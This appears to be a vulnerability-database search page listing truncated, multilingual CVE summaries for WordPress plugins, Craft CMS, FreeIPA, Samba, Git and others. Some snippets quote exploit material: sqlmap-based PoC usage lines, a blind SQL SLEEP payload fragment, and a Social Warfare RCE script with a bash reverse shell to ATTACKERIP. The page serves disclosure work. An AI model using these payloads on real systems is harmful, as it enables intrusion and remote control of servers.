329778 matches found
CVE-2024-50491
CVE-2024-50491 RSVP ME = 1.9.9 - Injection SQL non authentifiée Description Le plugin RSVP ME pour WordPress est vulnérable à l'injection SQL dans les versions jusqu'à 1.9.9 inclus, en raison d'un échappement insuffisant sur le paramètre fourni par l'utilisateur et d'un manque de préparation...
CVE-2023-0630
CVE-2023-0630 CVE-2023-0630 - Slimstat Analytics 4.9.3.3 - Injection SQL Subscriber+ Prérequis sqlmap installé et un nom d'utilisateur et mot de passe valides avec subscriber+ Utilisation root@kitploit: usage: CVE-2023-0630.py -h -w URL -u USERNAME -p PASSWORD options: -h, --help show this help...
CVE-2022-45808
CVE-2022-45808 LearnPress 플러그인 = 5.0.12 AND time-based blind query SLEEP Payload: csearch=X&orderby=ID AND...
CVE-2022-0439
CVE-2022-0439 CVE-2022-0439 — Email Subscribers & Newsletters 5.3.2 — Слепая SQL-инъекция права подписчика и выше Необходимо Установленный sqlmap и действительные имя пользователя и пароль с правами подписчика subscriber+ Использование root@kitploit: usage: CVE-2022-0439.py -h -w URL -u USERNAME ...
SUSE CVE-2026-82853
Nodemailer versions before 8.0.5 contain an SMTP command injection vulnerability in the transport name option used in EHLO/HELO commands. The name parameter is concatenated directly into SMTP commands without sanitizing carriage return and line feed characters, allowing attackers to inject...
CVE-2026-84797
Craft CMS versions 5.0.0-RC1 through before 5.10.11 are affected by an authorization bypass in ElementsController::actionDuplicate(). The vulnerability stems from missing authorization checks on the deleteProvisionalDraft parameter, allowing any authenticated user holding the createEntries permis...
EUVD-2026-69909
Craft CMS versions before 5.10.11 contain an authorization bypass vulnerability in ElementsController::actionDuplicate that allows authenticated users with createEntries permission to delete peer provisional drafts. Attackers can exploit the deleteProvisionalDraft parameter to delete another user...
CVE-2026-84797 Craft CMS 5.0.0-RC1 before 5.10.11 Authorization Bypass via actionDuplicate
Craft CMS versions before 5.10.11 contain an authorization bypass vulnerability in ElementsController::actionDuplicate that allows authenticated users with createEntries permission to delete peer provisional drafts. Attackers can exploit the deleteProvisionalDraft parameter to delete another user...
CVE-2026-84797 Craft CMS 5.0.0-RC1 before 5.10.11 Authorization Bypass via actionDuplicate
Craft CMS versions before 5.10.11 contain an authorization bypass vulnerability in ElementsController::actionDuplicate that allows authenticated users with createEntries permission to delete peer provisional drafts. Attackers can exploit the deleteProvisionalDraft parameter to delete another user...
CVE-2026-84797 Craft CMS 5.0.0-RC1 before 5.10.11 Authorization Bypass via actionDuplicate
Craft CMS versions before 5.10.11 contain an authorization bypass vulnerability in ElementsController::actionDuplicate that allows authenticated users with createEntries permission to delete peer provisional drafts. Attackers can exploit the deleteProvisionalDraft parameter to delete another user...
CVE-2022-26937
Preuve de concept de crash du système de fichiers réseau Windows CVE-2022-26937 root@kitploit: nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has...
CVE-2025-10230
CVE-2025-10230 PoC для CVE-2025-10230 — внедрение команды в hook-обработчик Samba WINS Конфигурация, необходимая для этой уязвимости, вероятно, затрагивает 0 человек. Внедрение ограничено 15 символами и должно быть допустимым именем WINS, поэтому никаких ;...
CobaltStrikeDos
Une vulnérabilité de déni de service DoS CVE-2021-36798 a été trouvée dans Cobalt Strike. La vulnérabilité a été corrigée dans le cadre de la version 4.4. Plus d'informations peuvent être trouvées ici Utilisation root@kitploit: python3 CobaltStrikeDos.py https://1.1.1.1 root@kitploit: $ python3...
CVE-2025-48384
CVE-2025-48384 PoC 주의사항 본 리포지토리는 보안 교육용으로 작성되었습니다. 악용은 삼가해주세요. 본 취약점은 디렉터리 이름에 \r을 포함해야 하므로, Linux/Unix 계열이 영향을 받습니다. 아래는 영향을 받는 Git 버전입니다. v2.43.x 계열 - v2.43.7 미만 v2.44.x 계열 - v2.44.4 미만 v2.45.x 계열 - v2.45.4 미만 v2.46.x 계열 - v2.46.4 미만 v2.47.x 계열 - v2.47.3 미만 v2.48.x 계열 - v2.48.2 미만 v2.49.x 계열 -...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...
DEBIAN-CVE-2026-53683
resetpassword.html parses query string parameters and uses the 'url' parameter as a redirection target window.location = url after password reset, optionally delayed by a 'delay' parameter. No validation or allowlisting is performed on url, enabling an attacker to redirect users to an arbitrary...
CVE-2026-53683
resetpassword.html parses query string parameters and uses the 'url' parameter as a redirection target window.location = url after password reset, optionally delayed by a 'delay' parameter. No validation or allowlisting is performed on url, enabling an attacker to redirect users to an arbitrary...
CVE-2026-53683
resetpassword.html parses query string parameters and uses the 'url' parameter as a redirection target window.location = url after password reset, optionally delayed by a 'delay' parameter. No validation or allowlisting is performed on url, enabling an attacker to redirect users to an arbitrary...
CVE-2026-53683 Freeipa: idm: idm/freeipa web ui - client-side open redirect in reset_password.html
resetpassword.html parses query string parameters and uses the 'url' parameter as a redirection target window.location = url after password reset, optionally delayed by a 'delay' parameter. No validation or allowlisting is performed on url, enabling an attacker to redirect users to an arbitrary...
EUVD-2026-69892
resetpassword.html parses query string parameters and uses the 'url' parameter as a redirection target window.location = url after password reset, optionally delayed by a 'delay' parameter. No validation or allowlisting is performed on url, enabling an attacker to redirect users to an arbitrary...